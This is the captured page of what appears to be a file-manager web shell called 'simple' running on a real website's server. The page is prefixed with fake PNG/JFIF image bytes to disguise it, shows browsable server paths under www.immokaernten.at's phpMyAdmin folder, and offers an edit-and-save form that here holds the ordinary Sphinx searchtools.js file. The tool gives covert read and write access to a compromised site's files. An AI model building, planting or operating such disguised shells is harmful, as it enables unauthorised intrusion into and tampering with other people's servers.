�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2F'>www.immokaernten.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Fdoc%2F'>doc</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Fdoc%2Fhtml%2F'>html</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Fdoc%2Fhtml%2F_static%2F'>_static</a>/</p><hr><h3>✏️ Editing: searchtools.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
 * searchtools.js
 * ~~~~~~~~~~~~~~~~
 *
 * Sphinx JavaScript utilities for the full-text search.
 *
 * :copyright: Copyright 2007-2022 by the Sphinx team, see AUTHORS.
 * :license: BSD, see LICENSE for details.
 *
 */
&quot;use strict&quot;;

/**
 * Simple result scoring code.
 */
if (typeof Scorer === &quot;undefined&quot;) {
  var Scorer = {
    // Implement the following function to further tweak the score for each result
    // The function takes a result array [docname, title, anchor, descr, score, filename]
    // and returns the new score.
    /*
    score: result =&gt; {
      const [docname, title, anchor, descr, score, filename] = result
      return score
    },
    */

    // query matches the full name of an object
    objNameMatch: 11,
    // or matches in the last dotted part of the object name
    objPartialMatch: 6,
    // Additive scores depending on the priority of the object
    objPrio: {
      0: 15, // used to be importantResults
      1: 5, // used to be objectResults
      2: -5, // used to be unimportantResults
    },
    //  Used when the priority is not in the mapping.
    objPrioDefault: 0,

    // query found in title
    title: 15,
    partialTitle: 7,
    // query found in terms
    term: 5,
    partialTerm: 2,
  };
}

const _removeChildren = (element) =&gt; {
  while (element &amp;&amp; element.lastChild) element.removeChild(element.lastChild);
};

/**
 * See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#escaping
 */
const _escapeRegExp = (string) =&gt;
  string.replace(/[.*+\-?^${}()|[\]\\]/g, &quot;\\$&amp;&quot;); // $&amp; means the whole matched string

const _displayItem = (item, searchTerms, highlightTerms) =&gt; {
  const docBuilder = DOCUMENTATION_OPTIONS.BUILDER;
  const docUrlRoot = DOCUMENTATION_OPTIONS.URL_ROOT;
  const docFileSuffix = DOCUMENTATION_OPTIONS.FILE_SUFFIX;
  const docLinkSuffix = DOCUMENTATION_OPTIONS.LINK_SUFFIX;
  const showSearchSummary = DOCUMENTATION_OPTIONS.SHOW_SEARCH_SUMMARY;

  const [docName, title, anchor, descr, score, _filename] = item;

  let listItem = document.createElement(&quot;li&quot;);
  let requestUrl;
  let linkUrl;
  if (docBuilder === &quot;dirhtml&quot;) {
    // dirhtml builder
    let dirname = docName + &quot;/&quot;;
    if (dirname.match(/\/index\/$/))
      dirname = dirname.substring(0, dirname.length - 6);
    else if (dirname === &quot;index/&quot;) dirname = &quot;&quot;;
    requestUrl = docUrlRoot + dirname;
    linkUrl = requestUrl;
  } else {
    // normal html builders
    requestUrl = docUrlRoot + docName + docFileSuffix;
    linkUrl = docName + docLinkSuffix;
  }
  let linkEl = listItem.appendChild(document.createElement(&quot;a&quot;));
  linkEl.href = linkUrl + anchor;
  linkEl.dataset.score = score;
  linkEl.innerHTML = title;
  const rehighlightListItem = () =&gt; window.setTimeout(() =&gt; {
    if (SPHINX_HIGHLIGHT_ENABLED)  // set in sphinx_highlight.js
      highlightTerms.forEach((term) =&gt; _highlightText(listItem, term, &quot;highlighted&quot;));
  }, 10);
  if (descr) {
    listItem.appendChild(document.createElement(&quot;span&quot;)).innerHTML =
      &quot; (&quot; + descr + &quot;)&quot;;
    rehighlightListItem();
  }
  else if (showSearchSummary)
    fetch(requestUrl)
      .then((responseData) =&gt; responseData.text())
      .then((data) =&gt; {
        if (data)
          listItem.appendChild(
            Search.makeSearchSummary(data, searchTerms)
          );
        rehighlightListItem();
      });
  Search.output.appendChild(listItem);
};
const _finishSearch = (resultCount) =&gt; {
  Search.stopPulse();
  Search.title.innerText = _(&quot;Search Results&quot;);
  if (!resultCount)
    Search.status.innerText = Documentation.gettext(
      &quot;Your search did not match any documents. Please make sure that all words are spelled correctly and that you&#039;ve selected enough categories.&quot;
    );
  else
    Search.status.innerText = _(
      `Search finished, found ${resultCount} page(s) matching the search query.`
    );
};
const _displayNextItem = (
  results,
  resultCount,
  searchTerms,
  highlightTerms,
) =&gt; {
  // results left, load the summary and display it
  // this is intended to be dynamic (don&#039;t sub resultsCount)
  if (results.length) {
    _displayItem(results.pop(), searchTerms, highlightTerms);
    setTimeout(
      () =&gt; _displayNextItem(results, resultCount, searchTerms, highlightTerms),
      5
    );
  }
  // search finished, update title and status message
  else _finishSearch(resultCount);
};

/**
 * Default splitQuery function. Can be overridden in ``sphinx.search`` with a
 * custom function per language.
 *
 * The regular expression works by splitting the string on consecutive characters
 * that are not Unicode letters, numbers, underscores, or emoji characters.
 * This is the same as ``\W+`` in Python, preserving the surrogate pair area.
 */
if (typeof splitQuery === &quot;undefined&quot;) {
  var splitQuery = (query) =&gt; query
      .split(/[^\p{Letter}\p{Number}_\p{Emoji_Presentation}]+/gu)
      .filter(term =&gt; term)  // remove remaining empty strings
}

/**
 * Search Module
 */
const Search = {
  _index: null,
  _queued_query: null,
  _pulse_status: -1,

  htmlToText: (htmlString) =&gt; {
    const htmlElement = new DOMParser().parseFromString(htmlString, &#039;text/html&#039;);
    htmlElement.querySelectorAll(&quot;.headerlink&quot;).forEach((el) =&gt; { el.remove() });
    const docContent = htmlElement.querySelector(&#039;[role=&quot;main&quot;]&#039;);
    if (docContent !== undefined) return docContent.textContent;
    console.warn(
      &quot;Content block not found. Sphinx search tries to obtain it via &#039;[role=main]&#039;. Could you check your theme or template.&quot;
    );
    return &quot;&quot;;
  },

  init: () =&gt; {
    const query = new URLSearchParams(window.location.search).get(&quot;q&quot;);
    document
      .querySelectorAll(&#039;input[name=&quot;q&quot;]&#039;)
      .forEach((el) =&gt; (el.value = query));
    if (query) Search.performSearch(query);
  },

  loadIndex: (url) =&gt;
    (document.body.appendChild(document.createElement(&quot;script&quot;)).src = url),

  setIndex: (index) =&gt; {
    Search._index = index;
    if (Search._queued_query !== null) {
      const query = Search._queued_query;
      Search._queued_query = null;
      Search.query(query);
    }
  },

  hasIndex: () =&gt; Search._index !== null,

  deferQuery: (query) =&gt; (Search._queued_query = query),

  stopPulse: () =&gt; (Search._pulse_status = -1),

  startPulse: () =&gt; {
    if (Search._pulse_status &gt;= 0) return;

    const pulse = () =&gt; {
      Search._pulse_status = (Search._pulse_status + 1) % 4;
      Search.dots.innerText = &quot;.&quot;.repeat(Search._pulse_status);
      if (Search._pulse_status &gt;= 0) window.setTimeout(pulse, 500);
    };
    pulse();
  },

  /**
   * perform a search for something (or wait until index is loaded)
   */
  performSearch: (query) =&gt; {
    // create the required interface elements
    const searchText = document.createElement(&quot;h2&quot;);
    searchText.textContent = _(&quot;Searching&quot;);
    const searchSummary = document.createElement(&quot;p&quot;);
    searchSummary.classList.add(&quot;search-summary&quot;);
    searchSummary.innerText = &quot;&quot;;
    const searchList = document.createElement(&quot;ul&quot;);
    searchList.classList.add(&quot;search&quot;);

    const out = document.getElementById(&quot;search-results&quot;);
    Search.title = out.appendChild(searchText);
    Search.dots = Search.title.appendChild(document.createElement(&quot;span&quot;));
    Search.status = out.appendChild(searchSummary);
    Search.output = out.appendChild(searchList);

    const searchProgress = document.getElementById(&quot;search-progress&quot;);
    // Some themes don&#039;t use the search progress node
    if (searchProgress) {
      searchProgress.innerText = _(&quot;Preparing search...&quot;);
    }
    Search.startPulse();

    // index already loaded, the browser was quick!
    if (Search.hasIndex()) Search.query(query);
    else Search.deferQuery(query);
  },

  /**
   * execute search (requires search index to be loaded)
   */
  query: (query) =&gt; {
    const filenames = Search._index.filenames;
    const docNames = Search._index.docnames;
    const titles = Search._index.titles;
    const allTitles = Search._index.alltitles;
    const indexEntries = Search._index.indexentries;

    // stem the search terms and add them to the correct list
    const stemmer = new Stemmer();
    const searchTerms = new Set();
    const excludedTerms = new Set();
    const highlightTerms = new Set();
    const objectTerms = new Set(splitQuery(query.toLowerCase().trim()));
    splitQuery(query.trim()).forEach((queryTerm) =&gt; {
      const queryTermLower = queryTerm.toLowerCase();

      // maybe skip this &quot;word&quot;
      // stopwords array is from language_data.js
      if (
        stopwords.indexOf(queryTermLower) !== -1 ||
        queryTerm.match(/^\d+$/)
      )
        return;

      // stem the word
      let word = stemmer.stemWord(queryTermLower);
      // select the correct list
      if (word[0] === &quot;-&quot;) excludedTerms.add(word.substr(1));
      else {
        searchTerms.add(word);
        highlightTerms.add(queryTermLower);
      }
    });

    if (SPHINX_HIGHLIGHT_ENABLED) {  // set in sphinx_highlight.js
      localStorage.setItem(&quot;sphinx_highlight_terms&quot;, [...highlightTerms].join(&quot; &quot;))
    }

    // console.debug(&quot;SEARCH: searching for:&quot;);
    // console.info(&quot;required: &quot;, [...searchTerms]);
    // console.info(&quot;excluded: &quot;, [...excludedTerms]);

    // array of [docname, title, anchor, descr, score, filename]
    let results = [];
    _removeChildren(document.getElementById(&quot;search-progress&quot;));

    const queryLower = query.toLowerCase();
    for (const [title, foundTitles] of Object.entries(allTitles)) {
      if (title.toLowerCase().includes(queryLower) &amp;&amp; (queryLower.length &gt;= title.length/2)) {
        for (const [file, id] of foundTitles) {
          let score = Math.round(100 * queryLower.length / title.length)
          results.push([
            docNames[file],
            titles[file] !== title ? `${titles[file]} &gt; ${title}` : title,
            id !== null ? &quot;#&quot; + id : &quot;&quot;,
            null,
            score,
            filenames[file],
          ]);
        }
      }
    }

    // search for explicit entries in index directives
    for (const [entry, foundEntries] of Object.entries(indexEntries)) {
      if (entry.includes(queryLower) &amp;&amp; (queryLower.length &gt;= entry.length/2)) {
        for (const [file, id] of foundEntries) {
          let score = Math.round(100 * queryLower.length / entry.length)
          results.push([
            docNames[file],
            titles[file],
            id ? &quot;#&quot; + id : &quot;&quot;,
            null,
            score,
            filenames[file],
          ]);
        }
      }
    }

    // lookup as object
    objectTerms.forEach((term) =&gt;
      results.push(...Search.performObjectSearch(term, objectTerms))
    );

    // lookup as search terms in fulltext
    results.push(...Search.performTermsSearch(searchTerms, excludedTerms));

    // let the scorer override scores with a custom scoring function
    if (Scorer.score) results.forEach((item) =&gt; (item[4] = Scorer.score(item)));

    // now sort the results by score (in opposite order of appearance, since the
    // display function below uses pop() to retrieve items) and then
    // alphabetically
    results.sort((a, b) =&gt; {
      const leftScore = a[4];
      const rightScore = b[4];
      if (leftScore === rightScore) {
        // same score: sort alphabetically
        const leftTitle = a[1].toLowerCase();
        const rightTitle = b[1].toLowerCase();
        if (leftTitle === rightTitle) return 0;
        return leftTitle &gt; rightTitle ? -1 : 1; // inverted is intentional
      }
      return leftScore &gt; rightScore ? 1 : -1;
    });

    // remove duplicate search results
    // note the reversing of results, so that in the case of duplicates, the highest-scoring entry is kept
    let seen = new Set();
    results = results.reverse().reduce((acc, result) =&gt; {
      let resultStr = result.slice(0, 4).concat([result[5]]).map(v =&gt; String(v)).join(&#039;,&#039;);
      if (!seen.has(resultStr)) {
        acc.push(result);
        seen.add(resultStr);
      }
      return acc;
    }, []);

    results = results.reverse();

    // for debugging
    //Search.lastresults = results.slice();  // a copy
    // console.info(&quot;search results:&quot;, Search.lastresults);

    // print the results
    _displayNextItem(results, results.length, searchTerms, highlightTerms);
  },

  /**
   * search for object names
   */
  performObjectSearch: (object, objectTerms) =&gt; {
    const filenames = Search._index.filenames;
    const docNames = Search._index.docnames;
    const objects = Search._index.objects;
    const objNames = Search._index.objnames;
    const titles = Search._index.titles;

    const results = [];

    const objectSearchCallback = (prefix, match) =&gt; {
      const name = match[4]
      const fullname = (prefix ? prefix + &quot;.&quot; : &quot;&quot;) + name;
      const fullnameLower = fullname.toLowerCase();
      if (fullnameLower.indexOf(object) &lt; 0) return;

      let score = 0;
      const parts = fullnameLower.split(&quot;.&quot;);

      // check for different match types: exact matches of full name or
      // &quot;last name&quot; (i.e. last dotted part)
      if (fullnameLower === object || parts.slice(-1)[0] === object)
        score += Scorer.objNameMatch;
      else if (parts.slice(-1)[0].indexOf(object) &gt; -1)
        score += Scorer.objPartialMatch; // matches in last name

      const objName = objNames[match[1]][2];
      const title = titles[match[0]];

      // If more than one term searched for, we require other words to be
      // found in the name/title/description
      const otherTerms = new Set(objectTerms);
      otherTerms.delete(object);
      if (otherTerms.size &gt; 0) {
        const haystack = `${prefix} ${name} ${objName} ${title}`.toLowerCase();
        if (
          [...otherTerms].some((otherTerm) =&gt; haystack.indexOf(otherTerm) &lt; 0)
        )
          return;
      }

      let anchor = match[3];
      if (anchor === &quot;&quot;) anchor = fullname;
      else if (anchor === &quot;-&quot;) anchor = objNames[match[1]][1] + &quot;-&quot; + fullname;

      const descr = objName + _(&quot;, in &quot;) + title;

      // add custom score for some objects according to scorer
      if (Scorer.objPrio.hasOwnProperty(match[2]))
        score += Scorer.objPrio[match[2]];
      else score += Scorer.objPrioDefault;

      results.push([
        docNames[match[0]],
        fullname,
        &quot;#&quot; + anchor,
        descr,
        score,
        filenames[match[0]],
      ]);
    };
    Object.keys(objects).forEach((prefix) =&gt; {
      if (!(objects[prefix] instanceof Array)) {
        objects[prefix] = Object.entries(objects[prefix]).map(([name, match]) =&gt; [...match, name]);
      }
      objects[prefix].forEach((array) =&gt;
        objectSearchCallback(prefix, array)
      );
    });
    return results;
  },

  /**
   * search for full-text terms in the index
   */
  performTermsSearch: (searchTerms, excludedTerms) =&gt; {
    // prepare search
    const terms = Search._index.terms;
    const titleTerms = Search._index.titleterms;
    const filenames = Search._index.filenames;
    const docNames = Search._index.docnames;
    const titles = Search._index.titles;

    const scoreMap = new Map();
    const fileMap = new Map();

    // perform the search on the required terms
    searchTerms.forEach((word) =&gt; {
      const files = [];
      const arr = [
        { files: terms[word], score: Scorer.term },
        { files: titleTerms[word], score: Scorer.title },
      ];
      // add support for partial matches
      if (word.length &gt; 2) {
        const escapedWord = _escapeRegExp(word);
        Object.keys(terms).forEach((term) =&gt; {
          if (term.match(escapedWord) &amp;&amp; !terms[word])
            arr.push({ files: terms[term], score: Scorer.partialTerm });
        });
        Object.keys(titleTerms).forEach((term) =&gt; {
          if (term.match(escapedWord) &amp;&amp; !titleTerms[word])
            arr.push({ files: titleTerms[word], score: Scorer.partialTitle });
        });
      }

      // no match but word was a required one
      if (arr.every((record) =&gt; record.files === undefined)) return;

      // found search word in contents
      arr.forEach((record) =&gt; {
        if (record.files === undefined) return;

        let recordFiles = record.files;
        if (recordFiles.length === undefined) recordFiles = [recordFiles];
        files.push(...recordFiles);

        // set score for the word in each file
        recordFiles.forEach((file) =&gt; {
          if (!scoreMap.has(file)) scoreMap.set(file, {});
          scoreMap.get(file)[word] = record.score;
        });
      });

      // create the mapping
      files.forEach((file) =&gt; {
        if (fileMap.has(file) &amp;&amp; fileMap.get(file).indexOf(word) === -1)
          fileMap.get(file).push(word);
        else fileMap.set(file, [word]);
      });
    });

    // now check if the files don&#039;t contain excluded terms
    const results = [];
    for (const [file, wordList] of fileMap) {
      // check if all requirements are matched

      // as search terms with length &lt; 3 are discarded
      const filteredTermCount = [...searchTerms].filter(
        (term) =&gt; term.length &gt; 2
      ).length;
      if (
        wordList.length !== searchTerms.size &amp;&amp;
        wordList.length !== filteredTermCount
      )
        continue;

      // ensure that none of the excluded terms is in the search result
      if (
        [...excludedTerms].some(
          (term) =&gt;
            terms[term] === file ||
            titleTerms[term] === file ||
            (terms[term] || []).includes(file) ||
            (titleTerms[term] || []).includes(file)
        )
      )
        break;

      // select one (max) score for the file.
      const score = Math.max(...wordList.map((w) =&gt; scoreMap.get(file)[w]));
      // add result to the result list
      results.push([
        docNames[file],
        titles[file],
        &quot;&quot;,
        null,
        score,
        filenames[file],
      ]);
    }
    return results;
  },

  /**
   * helper function to return a node containing the
   * search summary for a given text. keywords is a list
   * of stemmed words.
   */
  makeSearchSummary: (htmlText, keywords) =&gt; {
    const text = Search.htmlToText(htmlText);
    if (text === &quot;&quot;) return null;

    const textLower = text.toLowerCase();
    const actualStartPosition = [...keywords]
      .map((k) =&gt; textLower.indexOf(k.toLowerCase()))
      .filter((i) =&gt; i &gt; -1)
      .slice(-1)[0];
    const startWithContext = Math.max(actualStartPosition - 120, 0);

    const top = startWithContext === 0 ? &quot;&quot; : &quot;...&quot;;
    const tail = startWithContext + 240 &lt; text.length ? &quot;...&quot; : &quot;&quot;;

    let summary = document.createElement(&quot;p&quot;);
    summary.classList.add(&quot;context&quot;);
    summary.textContent = top + text.substr(startWithContext, 240).trim() + tail;

    return summary;
  },
};

_ready(Search.init);
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Fdoc%2Fhtml%2F_static'>🔙 Back</a></p>